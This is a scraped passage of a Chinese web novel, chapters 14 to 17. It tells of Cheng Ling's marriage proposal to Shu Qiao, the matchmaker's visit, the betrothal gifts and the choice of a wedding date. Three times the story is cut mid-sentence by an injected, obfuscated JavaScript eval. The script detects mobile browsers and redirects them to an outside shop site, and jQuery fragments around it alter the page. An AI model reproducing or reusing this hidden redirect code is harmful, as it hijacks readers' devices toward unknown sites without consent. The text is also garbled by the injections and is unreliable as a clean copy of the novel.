“婶子不用客气。”程凌说着,又不由地飘向舒乔,见他虽微垂着眼睑,唇角却抿着一丝清浅的笑意,心口像被烫了一下。
舒乔抬起头,恰巧撞进他含笑的眼底,脸上刚褪下去的热意又隐隐回升,他轻轻眨了眨眼,算是无声的回应。
程凌愣了愣,回过神忙转身道:“婶子,那我先回去了。”
“诶好。”秦氏送他出门,轻轻合上的院门,将程凌方才那份想留又不能多留的情态尽收眼底,心下更是了然。
年轻人情意正浓,那份炽热与克制,她也是从那个年纪过来的,怎会不懂。
思及此,她心头那点顾虑,渐渐被欣慰与放心所取代。
舒乔仍望着门口有些出神,指尖缠绕着那根变得软塌塌的草绳。
程凌这一早突然到来,以及提亲的消息,都让他心潮起伏,可奇怪的是,他并不感到惊慌,反而像是吃了一颗定心丸,心底涌起一种前所未有的踏实感。
直到舒小临猛地一拍大腿喊道:“坏了!要迟到了!”他才恍然惊醒。
舒小临三两口把剩下的饼子塞进嘴里,冲进屋里抓起搭在椅背上的布巾,一边风风火火地往外跑,一边回头喊道:“小圆记得锁门!”
“知道啦。”舒小圆应着,慢吞吞地走过去,将门闩插好。
她回头看看站在院子里若有所思的娘,以及转身回灶屋默默收拾碗筷的哥哥,心里有些纳闷,程大哥来提亲明明是件大喜事,怎么娘和哥哥反倒沉默起来了呢?
她蹭到秦氏身边,小声问道:“娘,你不高兴吗?”
秦氏回过神,垂眸看着她,温声道:“高兴,娘心里自然是高兴的。可真要是来提亲,咱们家也得有所准备才是……”
她一边低声念叨着,一边转身朝屋里走去,取了什么物件仔细揣进怀里,随后又朝院门走去,“小圆,我去你舟阿么家坐坐,说会儿话。”
院门再次开合,舒小圆上前闩好门,转身去找舒乔。
舒乔正在擦拭灶台,见她进来,便吩咐道:“小圆,你去把换下来的衣裳先用水泡上。”
“哦,好吧。”舒小圆只好按捺下满腹的问题,先去干活。
等衣裳洗完晾好,灶屋也收拾得干干净净了,两人在屋里拿起针线篮子坐下,舒小圆才终于找到机会跟哥哥说上话。
“哥哥,程大哥后天真的会请媒人来提亲么?”舒小圆凑近了些细声问道。
“他既已当众言明,自是会来的。”舒乔手中的针线略微停顿,随即又继续沿着画好的线迹稳稳走针。
“我听小满说,她姐姐之前定亲,光是合八字、选吉日就来回折腾了好久呢。”
舒小圆小声嘟囔着,伸出小拇指,比划着一点点长度,“哥哥,要是真定了下来,你能不能跟娘商量商量,把成亲的日子,稍微选晚一点,就一点点。”
舒乔抬眼瞧见她那副小心翼翼,带着恳求的模样,忍不住轻笑,故意拖长了语调道:“看在你近来这般勤快的份上……”
“我最近可听话了!碗是我洗的,地也是我扫的!”舒小圆立刻挺直了腰板,眼睛一眨不眨地望着他,满是期待。
她只是舍不得哥哥这么早就离开这个家。
“好了,不逗你了。”舒乔放下手中的绣棚,望着某处出神,“具体如何安排,总要等后天媒人来了,两家商议后才能定下。”
他顿了顿,声音轻柔了些,“不过哥哥也希望能在家多留些时日。”
且不说娘的身体需要调养,弟妹年纪尚小,家中诸多事务让他放心不下,单是想到要离开生活了十多年的家,去一个全然陌生的地方开始新的生活,心底深处难免会生出几分茫然与不安。
能与程凌两情相悦,共结连理,他心中满是欢喜与期盼,可这份欣喜之中,也确实掺杂着对未知前路的本能怯意。
“不过现在说这些都为时过早,即便定了亲,后面也还有纳彩、问名、请期等诸多礼数,一样样走下来,总要耗费不少时日的。”
见妹妹仍微蹙着眉头,舒乔笑着宽慰她,“说不定,那是一年以后才需要考虑的事了。”
舒小圆听了这话,脸上这才露出了释然的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164062|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑容,心里悄悄盘算,一年之后,倒是个挺不错的时机。
另一边,秦氏已到了舟阿么家。
舟阿么和方大娘正好都在院里拾掇菜干,听秦氏简单说了早上的事,两人都放下了手里的活计,拉着她在院中的小凳上坐下,细细说道起来。
方大娘一听是上次和舒乔去菜市时遇到的那个年轻后生,立刻笑了起来,“这么说来,这两个孩子倒是挺有缘分的嘛。”
她回想那天的情形,说道:“那天咱们刚到他摊前,他就给捡了菜叶,临走还塞给咱们一把嫩苋菜。”
方大娘说着又笑了起来,“现在回想起来,保不齐那时候,程小子就对咱乔哥儿上了心。”
“还有这么一回事?”秦氏听了有些诧异,她那时只当是乔哥儿买的,并未多加留意。
方大娘又道:“后来我自个儿去买菜,又碰见过他两回。有些品相稍次,不好卖的菜,他也乐意送给客人。小伙子模样周正,干活利索,不像有些摊贩那般油滑算计。”
菜行里人来人往,摊贩不少,但像程凌这样年轻结实,天天雷打不动来出摊的汉子不多,所以她印象挺深。
舟阿么听她们这般描述,也生了些好奇,“被你们这么一说,我倒真想哪天得空,也去菜市亲眼瞧瞧了。”
“别急别急。”方大娘摆摆手,笑道,“人家后天才正式请媒人登门呢,咱们这一个两个的都跑去看,别再把人小伙子给看得不好意思了。”
“程小子瞧着确实是个踏实稳重的。这后天提亲,依你们看,我这边该预备些什么才好?”秦氏询问道。
她也是关心则乱,自己并非不懂这些礼数,只是事关乔哥儿的终身大事,总怕有哪里思虑不周,想来听听他们的意见。
方大娘是过来人,经历得多,对婚嫁习俗甚是了解,知道她的顾虑,便爽利地说道:“你若是担心招待不周,届时备上一壶茶水,几样干净体面的点心果子便是。有些媒人心眼活泛,你看着包几个铜钱做谢礼,意思意思也就是了。”
“若是还想对程家多些了解,稳妥起见,也可以去他们村里稍稍打听一下他家风口碑如何。”舟阿么在一旁补充道。
秦氏听完,心里踏实了不少,将需要留意的事项一一记下。
提亲虽是男方主导,但后续的定亲、纳吉、请期等事宜,自家也需有所准备。
最让秦氏挂心的,还是舒乔的嫁妆。家里境况如何,她心知肚明,但该有的体面,她无论如何也想尽力为乔哥儿张罗一些,不愿他受了委屈。
听她念叨起嫁妆的事,方大娘温言开导她,“想必程家那边,多半也知晓咱家的情况。你量力而行就行,别太过为难自己。乔哥儿是个懂事明理的孩子,不会怪你。我瞧着那程小子,也不像是个斤斤计较、只看重财物的人。”
方大娘的话让秦氏心中宽慰了不少。她又坐着与他们说了一会儿话,才起身回家。
程凌要提亲的消息,不仅让舒家颇感意外,其实就在前两日晚饭时,他说完后,许氏和程大江也是惊讶不已。
“儿子,快跟娘说说,是哪家的好哥儿?”许氏连忙放下碗筷,又惊又喜地拉住程凌的胳膊追问。
“叫啥名字?家住在哪片?家里都有谁?”
程大江也乐得合不拢嘴,用力拍了下儿子的肩膀道:“好小子!真有你的!”
程凌回答了许氏连珠炮似的问题,接着之前的话头说道:“我想着,就这几日请媒人去舒家提亲。娘你懂得多,看请哪位媒人较为妥当,都需要准备些什么东西?”
许氏连连点头,脸上笑开了花,“乔哥儿,光是听这名字,就觉着是个灵秀懂事的孩子。”
她拍着胸脯保证,“你放心,这些事包在娘身上。你再仔细跟娘说说那孩子,还有他家里的情形。”
程凌见爹娘这般热切,只好又将舒家的情况,细细地说了一遍。
这一聊就聊到天色变暗。
许氏点上油灯,一边收拾着碗筷,一边盘算着,“我明儿个一早就去村头找王媒婆说道说道。提亲要备的礼也不能马虎,我今晚就得把单子理出来。”
程凌自然点头称是,有娘为他张罗这些,他再放心不过。
许氏和程大江压根不担心儿子看上的人会不好。自家儿子是什么秉性,他们最清楚不过,听到程凌说要提亲,老两口心里除了满满的喜悦,便是对日后的期盼。
许氏回想起不久前儿子那句意有所指的“过几日再去”,心里顿时豁然开朗,果然是因为心里早已有了中意的人,才会那般回应。
这么一想,她更盼着能早点见见乔哥儿这孩子了。
15. 第 15 章
两家既已有了结亲的打算,便都开始为后日的提亲张罗起来。
程家院里,许氏起身将王媒婆送到门口,临别时在她手里塞了串用红绳穿好的铜钱,面上带着周全的笑,“明日就辛苦王媒婆跑这一趟,这事儿可就托付给你了。”
王媒婆心领神会,利落地将钱揣进袖袋,笑呵呵地应承道:“程大家的你放心,这事包在我身上。凌小子也算是我看着长大,这桩喜事我保管给你办得妥妥帖帖。”
许氏又说了几句热络话,言语间满是信赖,“这十里八乡谁不晓得王媒婆你的能耐?交给你,我再放心不过。那我就不送了,你慢走。”
“不用送不用送,都是乡里乡亲的!”王媒婆摆摆手,转身朝村头去。心里却暗自琢磨,原以为是请她说媒,没成想程家自己相看好了,还是城里的哥儿,倒有些出乎意料。
程家父子勤快能干,许氏为人也宽厚,在村里日子算过的不错的,村里不少有姑娘哥儿的人家都暗中留意凌小子,这下自家定了城里的,怕是要惹些酸话。
不过她也乐见其成,这桩事若成,程家给的谢媒礼定然不少。
刚走到村口那棵大槐树下,就被几个摇着蒲扇纳凉的妇人围住了。
“王媒婆,这是从程大家回来?可是有啥喜事?”有人笑着打听。
王媒婆故意卖个关子,脸上堆起神秘的笑,“可不是嘛!程家凌小子要提亲了,过些时日大伙儿就等着喝喜酒吧!”
这话一出口,围着的人顿时炸开了锅,喧嚷起来。
“说的是哪家姑娘?咋一点信儿都没听着?”
“我还盘算着给娘家外甥女牵牵线呢!”
“程家办事可真利索,平日不声不响,这就定下了?”
王媒婆只打着哈哈道:“过几日自然知晓,咱们先盼着那杯喜酒便是!”众人见她口风紧,也不再追问,转而说起别家的闲事。
程二婶刘氏坐在一旁,手里纳着鞋底,听了个真切,心里直犯嘀咕,凌小子要说亲了?她连忙收起针线活。
旁边人见她起身,顺口问:“程二家的,这就回了?”
“回了,家里有活还没干呢。”刘氏没多耽搁,抬脚就往大哥家去。
一来是打听亲事,二来是商量修缮老屋的事。前日打老屋那边过,瞧见屋顶滑落了不少瓦片,再不拾掇,屋里那些旧家什怕是要遭雨水祸害了。
程大江和程大河两兄弟各自娶亲后,程家老爷子就主持分了家。
两兄弟建的屋子离的近,平日两家走动也频繁。至于程家老屋,在程家老爷子和老伴相继离世后,就空了下来。
屋子没人气,坏得就快,是以两家时常抽空去修补一番。
刘氏推开程家虚掩的院门,扬声唤道:“大嫂在屋不?”
“在呢,快进来!”许氏在堂屋里应着。
刘氏进屋时,正见她拿着剪刀裁红纸,便拉过凳子坐在一旁,开门见山地问:“听村里人念叨,凌小子要说亲了?”
许氏这才想起这两日忙得晕头转向,竟忘了告诉亲近的弟媳,忙道:“正是呢,这孩子前几日突然跟我们透了底,说要向乔哥儿提亲,我这一通忙活,竟忘了同你通气。”
刘氏性子爽利,摆摆手表示无妨,又饶有兴致地问:“那孩子叫乔哥儿?”
“姓舒,单名一个乔字,听凌儿说是个明事理的好孩子。”许氏一边将裁好的红纸码放齐整,一边把舒家的情况拣要紧的说了个大概。
刘氏听得连连点头,脸上绽开笑来,“家里有这等喜事,大嫂你若忙不过来,尽管支应我一声!”
“少不了要劳动你,”许氏立刻接话,“等日子定下,成亲那日还得靠你和二弟里外帮衬呢。”
“自家人不说两家话。”刘氏拿起桌上的浆糊罐,帮着把红纸糊成礼盒的封皮,又道,“对了大嫂,老屋屋顶滑落了不少瓦片,我想着挑个晴好日子,咱们两家一块去修补修补,你看哪天得闲?”
许氏停下手,略一思忖道:“是该修补了,上次去还是去年腊月里。等大江回来我同他讲,这两日先把提亲的事办稳妥,过后找个天晴日头好的时候去。”
老屋里还存放着些旧床柜和杂物,再不修缮,怕是要被鼠蚁蛀坏了。
刘氏又坐了约莫一炷香的功夫,说了会子闲话方才离去。
提亲这日,天光大亮后,程凌套好牛车,载着王媒婆往城里去。
到了南巷口,程凌稳住牛车,指向不远处道:“往前数第三个门便是舒家,有劳王媒婆了。”
王媒婆两手整了整衣衫,提上贴着红纸的礼盒,笑吟吟道:“凌小子放心,我保管把事办得圆圆满满。”
她迈着稳当的步子朝巷内走去,那身枣红色的褙子在清晨的微光里显得格外显眼。
巷口有早起打水、洒扫的邻人,见她这身打扮与提着的红礼,便猜是媒人登门,都不由驻足多看两眼,低声交谈着不知是谁家有了喜事。
舒家院里,秦氏一早便领着孩子们将屋里院外收拾得齐整亮堂,都换上了见客的得体衣裳。
敲门声响,舒小临一下子从凳子上弹起来道:“我去开门!”他特意向茶馆告了假,就为留在家里帮忙应对。
秦氏连忙拦住他,又理了理本就齐整的衣裳,说道:“我去开,小临你去把灶上温着的茶水端来。”
舒小临应声转向灶屋,舒小圆也机灵地跟了过去。
门一开,王媒婆便满面春风地迎上前,声音透着一股子热切,“哎哟,秦家妹子!这一大早来叨扰,给你道喜来了!”她双手提着礼盒,步履稳健地跨进院门。
秦氏上前相接,脸上带着合宜的微笑,“王媒婆快请屋里坐,一路上辛苦。”
程凌早前已让舒乔带话告知了媒婆姓氏,秦氏心里早有准备。
王媒婆跟着进屋,眼神不着痕迹地,将这虽不宽敞却洁净整齐的院子扫了一遍,笑着在椅上落座,“秦家妹子真是好福气,把乔哥儿带得这般出众。程家可是盼着结这门亲盼了有些日子了!”
秦氏客气两句,唤舒乔给王媒婆奉了茶,便让他先去隔壁屋里。舒乔晓得规矩,回屋拿起绣绷,手里的针却半晌没落下,心神都系在了隔壁的动静上。
舒小临和舒小圆倒未避嫌,老老实实在一旁坐着,支着耳朵听,秦氏此刻也顾不上他们,便由着他们在场。
“秦家妹子,程家是实心实意要结这门亲!你瞧瞧这礼数,半点不差!”王媒婆指着桌上已摆开的几样红封和礼盒,“这是按老礼备下的问名礼,图个吉祥好意头!程家小子为人实在,备的也都是扎实东西。”
程家显然用了心。几封城里瑞芳斋的点心蜜饯,外加两包茶叶、两块裁好够做一身新衣裳的鲜亮尺头。
秦氏目光扫过这些既体面又不过分扎眼的礼品,心下颇为赞许。
礼不浮夸,恰在程家力所能及之内,更显诚意。
两家既已彼此中意,王媒婆便主要是走个过场,将程家上下和程凌本人着实夸赞了一番,也跟她透了程家预备下的聘礼明细。
“喜饼二十斤、喜糖十斤、干货四担、粮食六担,陈年米酒两坛、细布四匹,到时三牲礼也必不会缺。聘金呢,程家准备了六两银子,取个‘六六大顺’的彩头。”
王媒婆说完,心下也觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164063|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
程家确实大方厚道,一点虚的没有,这在庄户人家里算是一份既实在又体面的聘礼了。
秦氏听完,心头既暖且定。程家没打肿脸充胖子,也没轻慢半分,这份郑重比什么都强。
她脸上带着明朗的笑意,起身进了隔壁屋,不多时便拿着一个早备好的大红帖子过来,端正地递到王媒婆手里,“那这事儿就劳烦王媒婆多费心了。这是乔哥儿的庚帖,你带去合一对八字,我们也盼着个好兆头。”
“哎哟,好好好!保管是上上大吉!”王媒婆赶紧双手接过,妥帖地收进袖袋里,脸上的笑容更真切了。
舒小临与舒小圆交换了一个眼神,都从对方脸上看到了欢喜,程大哥果然靠得住,哥哥往后在程家定然受不了委屈。
王媒婆在舒家坐了不足两刻钟,饮了茶,用了块点心,见秦氏始终应对得体,庚帖也已到手,知晓此事已成,便满面红光地起身告辞。
“秦家妹子,你放心!我这就回去给程家报喜信,等合好八字,定亲的吉期咱们往后慢慢商议!”
秦氏自是应下,将她送至巷口才回去。
王媒婆这厢一转身就见程凌仍立在牛车旁等候。她微微一怔,随即了然,打趣道:“凌小子还在这儿等着?正好,婆婆我还搭你的车回去!”
她岂会不知程凌的心思,名义上是等她,实则是牵挂舒家这边的音信。
王媒婆坐上车,扶稳车栏,笑逐颜开道:“舒家那头应得爽快!程家的心意他们都领受了,接下来就等着定亲、择选良辰吉日了……”
她絮絮说着,程凌在前头赶车,听得“应得爽快”几字,嘴角忍不住微微上扬,心里像揣了团暖烘烘的棉花,满是踏实的欢喜。
舒家院里,此刻正洋溢着欢快的氛围。
舒小圆捧着一盒刚开的点心,喜得见牙不见眼,“程大哥办事真细致!”
舒小临故意逗她,“前两日是谁嚷嚷着要好好考教人家来着?”
“我那叫审慎!眼下这叫明察!”舒小圆哼了哼,眼巴巴瞅着那精致的糕点,“这点心一看就是照着哥哥偏爱的口味挑的。”
秦氏只拆了一封点心让大家尝鲜,其余的都仔细收进柜里。
舒小圆拈起一块放入口中,满足地眯起眼,脑袋轻轻晃动道:“我现在觉得程大哥做我哥夫真是顶顶好!这点心滋味太正了!”
舒小临也捏了一块塞进嘴里,含糊道:“一盒点心就把你收服了?前几日还抱着哥哥胳膊说舍不得呢。”
舒小圆揩了揩嘴角,不服气地撇嘴,“我是透过这点心,瞧见了程大哥的诚心!再说了,小临哥你不也吃得挺香!”
“我这是……品鉴!品鉴懂不懂?”舒小临强辩着,手却诚实地又摸了一块。
隔壁屋里,秦氏将程家备下的聘礼一一细说给舒乔听。舒乔虽不是看重财物之人,但听闻程家如此尽心,胸中亦是暖意融融。
“程家给的聘礼厚道,足见是真心实意看重你。”她想起早早离开的丈夫,眼神黯了一瞬,但很快又被笑意取代,“过不久就该走定亲的礼了,到时候巷子里少不得要热闹一番。”
舒乔听着她的话,只觉有股热气直往脸上涌,忙借着起身的动作侧过脸去,匆忙道:“我去瞧瞧小临和小圆又在闹腾什么。”话音未落,脚步略显急促地迈步而出。
看着他微微发红的耳廓和那点藏不住的慌乱背影,秦氏不由得笑了——这孩子,面皮还是这般薄。
院里传来舒小圆和舒小临的说笑声,夹杂着舒乔无奈的叮嘱,秦氏望着窗外,心里的石头彻底落了地,只盼着往后的日子能顺顺利利,乔哥儿能过得安稳顺遂。
16. 第 16 章
这日清晨,舒家所在的南巷比往常更早地苏醒了,空气中弥漫着一种不同寻常的活跃气息。
辰时刚过,巷口便传来了牛车轱辘压过石板的声响,夹杂着街坊四邻的议论。
只见程大江亲自执鞭,赶着装载红纸覆盖箱笼箩筐的牛车,程二河与一身喜庆装扮、满面红光的王媒婆一同走在车旁。
那牛额前系着的一朵红绸花,在清亮的晨光里格外引人注目。
这扎实的排场立刻引来了左邻右舍的围观,孩童们嬉笑追逐在车后。有眼明的婶子立刻辨出,“这是下聘的队伍!瞧那红彤彤的箱笼,是往舒家去的!”
明眼人都看得出,舒家这是结下了一门好亲事。
邻里们纷纷聚拢过来,有的向秦氏道贺,有的好奇地打量车上的聘礼。秦氏含笑逐一回应,脸上的喜悦想掩都掩不住。
待王媒婆拔高嗓音,清晰念诵礼单时,围观的婶子大娘们听得不住颔首,对着那些聘礼低声交谈起来。
“瞧着是乡下人家,可这礼数一点不比城里差。”
“程家真是厚道,看这聘礼多实在!还是兄弟俩一块儿来的,够郑重!”
“乔哥儿这可是寻了个好人家。”
礼单念毕,程大江、程二河和王媒婆被请进屋内。秦氏早已备好了茶水点心,舒小临和舒小圆也前后张罗着招呼。程二河话不多,多是笑着附和兄长,场面显得格外融洽。
舒乔大多时候留在自己屋里,只是中途出来依礼见了长辈。外间的谈笑声隔着门板模糊地传进来,程大江沉稳的语调、王媒婆拔高的笑语,都让他不由自主地屏息去听。
他坐在炕沿,将几方绣好的帕子在膝头铺开,抚平本不存在的褶皱,仔细对齐边角对折。叠好一方,又拆开,再沿着另一条对角线重新折过。
屋外突然响起一阵热闹的寒暄,像是众人正要入席。他手一抖,帕子滑落到炕上。他赶忙捡起来,指尖在细密的针脚上无意识地摩挲,耳朵却还支棱着捕捉外头的动静。
直到秦氏在灶屋唤他,舒乔肩背微微一紧,像是终于等到了又怕到来的时刻。
“来了!”他迅速直起身,理了理本就齐整的衣襟下摆,又抬手拍了拍脸颊,这才深吸一口气,推门走了出去。
定亲时男方家的长辈要留下吃饭,两家算是真正接触认识。
中午这顿定亲饭吃得宾主尽欢,程大江言语不多,却字字透着诚恳,再三保证道:“乔哥儿进了程家门,我们必定将他当作自家孩子疼惜。”
王媒婆则在旁不住说着“天作之合”之类的吉祥话。
饭后,程家兄弟和王媒婆告辞离去。秦氏依着礼数,将备好的一份回礼——几封喜饼、两包茶叶、半坛酒,并一双给程凌新做的布鞋,稳稳放进空出的礼担里,这有来有往的礼数才算周全。
送完客人后,舒家小院里仍萦绕着几分喜庆的余韵。
家里许久不曾这般热闹,今日舒小圆一直跟在秦氏身后忙活,像只欢欣的雀鸟,时而帮忙递送茶水,时而跑到门口张望,一天下来,背后衣裳竟湿了大半。
“舒小圆你今日可真是精神头十足啊。”舒乔拿了条干净布巾递给她,一脸无奈,“快擦擦汗,把潮了的衣衫换了,仔细受了风寒。”
舒小圆咧嘴笑了笑,凑到舒乔身边,仰起脸胡乱擦着,“我这不是太高兴了嘛。”
“再高兴也不用拽着小满从巷头跑到巷尾吧?”舒乔想起听到的声响,脸上还带着几分费解,“我在屋里都听见你们俩的笑声了。”
“我那时太激动了。”舒小圆理了理汗湿的额发,又不服气地辩解,“而且小临哥也没沉稳多少!王媒婆刚念完礼单,他就和石头他们在一旁喊,声音数他最响亮!”
原来王媒婆宣读完礼单,这几个半大少年便欢呼起来,还带头说起了吉祥话。旁边看热闹的人受了感染,也不免加入,场面一时颇为喧腾。
舒乔回想方才在屋内听到的动静,摇摇头笑道:“好了,你先把自个儿收拾妥当,我去灶屋瞧瞧。”
送完客人,又同妹妹说了几句闲话,舒乔心头那根绷了半日的弦总算松了下来。那份揣着的欣喜却愈发真切,连带着看院里明晃晃的日头都觉得格外顺眼。
午时招待客人,舒乔和秦氏早上去市集买了不少菜,这会儿还剩不少。
他轻哼着小调,揭开防蝇的罩子,看着那些精心烹制、几乎没怎么动过的菜肴,才意识到自己方才光顾着留意饭间的谈话,连娘特意为他夹到碗里的红烧肉是咸是淡都没尝出滋味。
他心想晚上热了再吃,倒要好好尝尝味道,也省了再开火的功夫。
“乔哥儿,来帮娘一下。”秦氏在屋里唤道。
“来了。”舒乔转身往舒小临的屋里走,只见秦氏站在一堆聘礼中间,裹着红绸的布匹、贴着喜字的竹箩,把不大的屋子衬得满是喜气。
“娘,要做什么?”
秦氏指了指堆在门边的几个方口竹箩道:“帮娘把这些竹箩挪到墙角去,堆在这儿不好走。”
“好。”舒乔看向那几个竹箩,箩筐上贴的喜字鲜红夺目,里面满满当当地装着新米和白面,显得很有分量。
他上前站稳,和秦氏一同用力将竹箩抬起,稳妥地移至墙角。新米特有的清香和白面纯粹的麦香隐隐透出,让人心生安稳。
“灶屋那边也得搬些过来存放,不然转身都费劲了。”秦氏说着,抬手用手背拭了拭额角。
舒乔自然听从,将箩筐在墙角安置好,又随秦氏去灶屋将部分干货也转移过来。二人来回几趟,总算将这些聘礼归置得井井有条。
“小临平日自己睡这屋,放在这儿也不碍他事。”秦氏一边自语,一边弯腰检查箩筐盖是否严密。舒乔见没他事了,便打算回屋。
秦氏见他要走,赶忙唤住,“诶,乔哥儿先别急着回。”
“娘还有什么事?”舒乔停在门边,见秦氏翻找出程家送来的那匹海棠红细布,心下顿时明了。
秦氏细细抚摸着布面,指尖感受着细密柔韧的纹理,脸上绽放出欣慰的笑容,“凌小子是个有心的,这颜色很配你,料子也结实。”
她转头看向舒乔,眼尾的笑纹里都透着满意,“待会儿娘给你量身形,这嫁衣可得你一针一线,仔细缝制才好。”
“那我稍后把量尺取来。”舒乔上前,指尖轻轻掠过布料,只觉触感顺滑柔软,织工紧密,色泽匀净,做成衣裳定是既舒适又挺括。
他忽然想到什么,眼珠微转,看向秦氏道:“可这样一来,我绣帕子的工夫就少了许多。”
秦氏一听,轻轻拍了下他的臂膀,“你这孩子,是帕子要紧,还是你的婚服要紧?”
舒乔佯装思考,见秦氏似乎真要着急,连忙带上笑容应道:“要紧要紧,都要紧,这总成了吧?”
“你这孩子。”秦氏笑嗔一句,把布匹递给他,“先拿到屋去,娘再归置一下这些零碎。”
“好咧。”舒乔偶尔这般逗趣一下也觉得开心,抱起那匹细布转身离开了。
这边秦氏将物品都整理妥当后,回屋取了量尺,站在舒乔身后道:“把腰背挺直,手臂平举,慢慢转过来。”量好后她用炭笔在布上轻轻划了个记号,端详着舒乔的身形,忽然道:“乔哥儿瞧着像是比先前长高了些。”
舒乔低头看了看自己的裤脚,顺手扯了扯道:“应该是,裤脚瞧着比之前短了一点。”他说怎么感觉最近衣裳有些紧绷,还以为是洗缩水了。
舒小圆在炕上打了个滚,也坐起身来凑热闹,“娘,你也给我量量,没准儿我也长高了呢。”
秦氏笑着替她量了身高,又比对上次留下的标记,轻轻摇头道:“没怎么动,还是老样子。”
“好吧。”舒小圆顿时蔫了下去,重新躺回炕上,舒乔在一旁笑道:“前些日子才量过,哪能转眼就窜个子?”
“那可说不准,兴许我睡一宿就长了呢。”舒小圆四肢舒展地瘫在炕上,瞧着他们忙碌。
听着她这充满稚气的话,舒乔和秦氏都笑了起来。秦氏回身见她这般躺相,轻轻拍了拍她晃荡的小腿,“大白天注意一下,女孩子家家。”
舒小圆翻了个身,懒懒道:“反正屋里就咱自家人,没关系的娘。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164064|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>舒乔从秦氏手中接过量尺,将布料在炕上铺展开,说道:“那你留意些,别翻过来碰着了。”
说着他拿起剪刀,依照量好的尺寸,剪刀撕拉一声裁下去。布料应声而开,断面平直光洁。
舒小圆闻言滚到炕角,侧身看着他们忙活。忽然她又支起身子望向门外,问道:“对了,小临哥上哪儿去了?”
“吃过晌午饭就回茶馆上工了。”秦氏帮着按住布角,防止它滑动,“家里没什么要紧事了,让他告半日假便足够,总不好耽误了活计。”
听秦氏这么说,舒小圆低声嘟囔道:“那好吧。”她伸展了一下腰肢,重新躺平。
舒乔见她一副懒散模样,收起剪刀,轻笑道:“你前阵子那股绣帕子的劲头哪儿去了?不是说要多绣几条攒钱么?”
“人家也要歇一歇嘛。”舒小圆拖长了音调撒娇,爬到舒乔身边,搓了搓手心,跃跃欲试道:“哥哥,我给你捶捶肩膀吧!小满说她常给她爹捶,捶得舒服了还能得几个铜板买零嘴呢!”
舒乔有些意外她忽然这般殷勤,听到后半句,看向舒小圆,眨眨眼道:“捶肩膀可以,铜板可是没有的。”
“我才不是图铜板呢!”舒小圆说着,手已经搭上舒乔的肩头不轻不重地捶打起来,声音也放软了些,“我是看□□日做绣活辛苦,肩膀定然酸了。”
屋里静悄悄的,只闻舒小圆捶打的细微声响。秦氏在旁听着,心里暖融融的,悄悄与舒乔交换了一个眼神,彼此都看到了对方眼中的笑意。
舒乔抬手拍了拍妹妹的手背,语调柔和道:“小圆懂事,那顺带帮哥哥捏捏胳膊吧。”他活动了一下有些僵硬的肩颈。
“包在我身上!”舒小圆手上加了点力道,又问,“哥哥,这个劲儿成吗?”
“成,正好。”舒乔舒适地吁了口气,心头被暖意填满,只觉得,再好的光景,大抵也就是眼前这般了。
秦氏将余下的布料收进柜中,量尺卷好收起,看着他们兄妹和睦的景象,眼中满是宽慰。
没过几天,王媒婆就送来了择定的吉日。一共给了三个日子,最近的在下个月,最远的在来年三月,居中的那个则紧挨着秋收之后。
秦氏坐在炕沿,与舒乔商议道:“下个月太过仓促,婚服定然赶制不及;来年三月正值青黄不接,娘觉着不妥。秋收后那个日子顶好,天气凉爽宜人,地里的活计也忙完了,程家也有充裕的时间筹备。”
舒乔点头,心里也属意中间这个日子,问道:“程家那边中意哪个?”
“也挑中了中间这个。”秦氏笑容舒展开来,“那娘就给王媒婆回话,将这日子定下了。”
“好。”舒乔低头咬断手中的丝线,心下悄然一松。距离秋收尚有一段时日,婚服无需赶工,还能多绣些帕子存着。
“你舟阿么说,秋收前后成亲的人家最多。”秦氏一边整理着各色丝线,一边闲话道,“有些人家劳力不足,定要等秋收忙完才肯嫁女;有些又急着在秋收前娶媳添帮手,为此两家争执起来的也有。”
其实舟阿么还问她,程家是必定要下地干活的,乔哥儿能应付得来农活么?秦氏说着说着,自己也不禁有些挂心,这么想着也就顺口说了出来。
舒乔闻言放下针线,脸上露出一丝茫然。
他五岁跟着爹娘来城里,对乡下种地的记忆早就模糊了,只依稀记得小时候跟着爹在自家小菜园里拔过草。
他的视线飘向院里那个种菜的木箱,那是爹在世时亲手打的。这些年来,他唯一熟稔的农事,便是侍弄这一小方土地里的葱姜蒜。
秦氏活了半辈子,真真切切下地耕种的日子,也不过是早年间那几年,时日久远,若要她详说农活种种,恐怕也说不明白。
“应当……可以吧。”舒乔思忖片刻,又认真道,“人都说‘干中学,学中干’,我到时跟着阿凌学就行,他肯定会教我的。”
他不怕吃苦,只要能和程凌好好过日子,学种地也没什么难的。
秦氏看着他坚定的样子,心里的担忧也渐渐淡去,笑着抚了抚他的发顶,“你能这般想,娘也就安心了。”
17. 第 17 章
定亲后的日子像溪水般缓缓流淌,重归宁静。
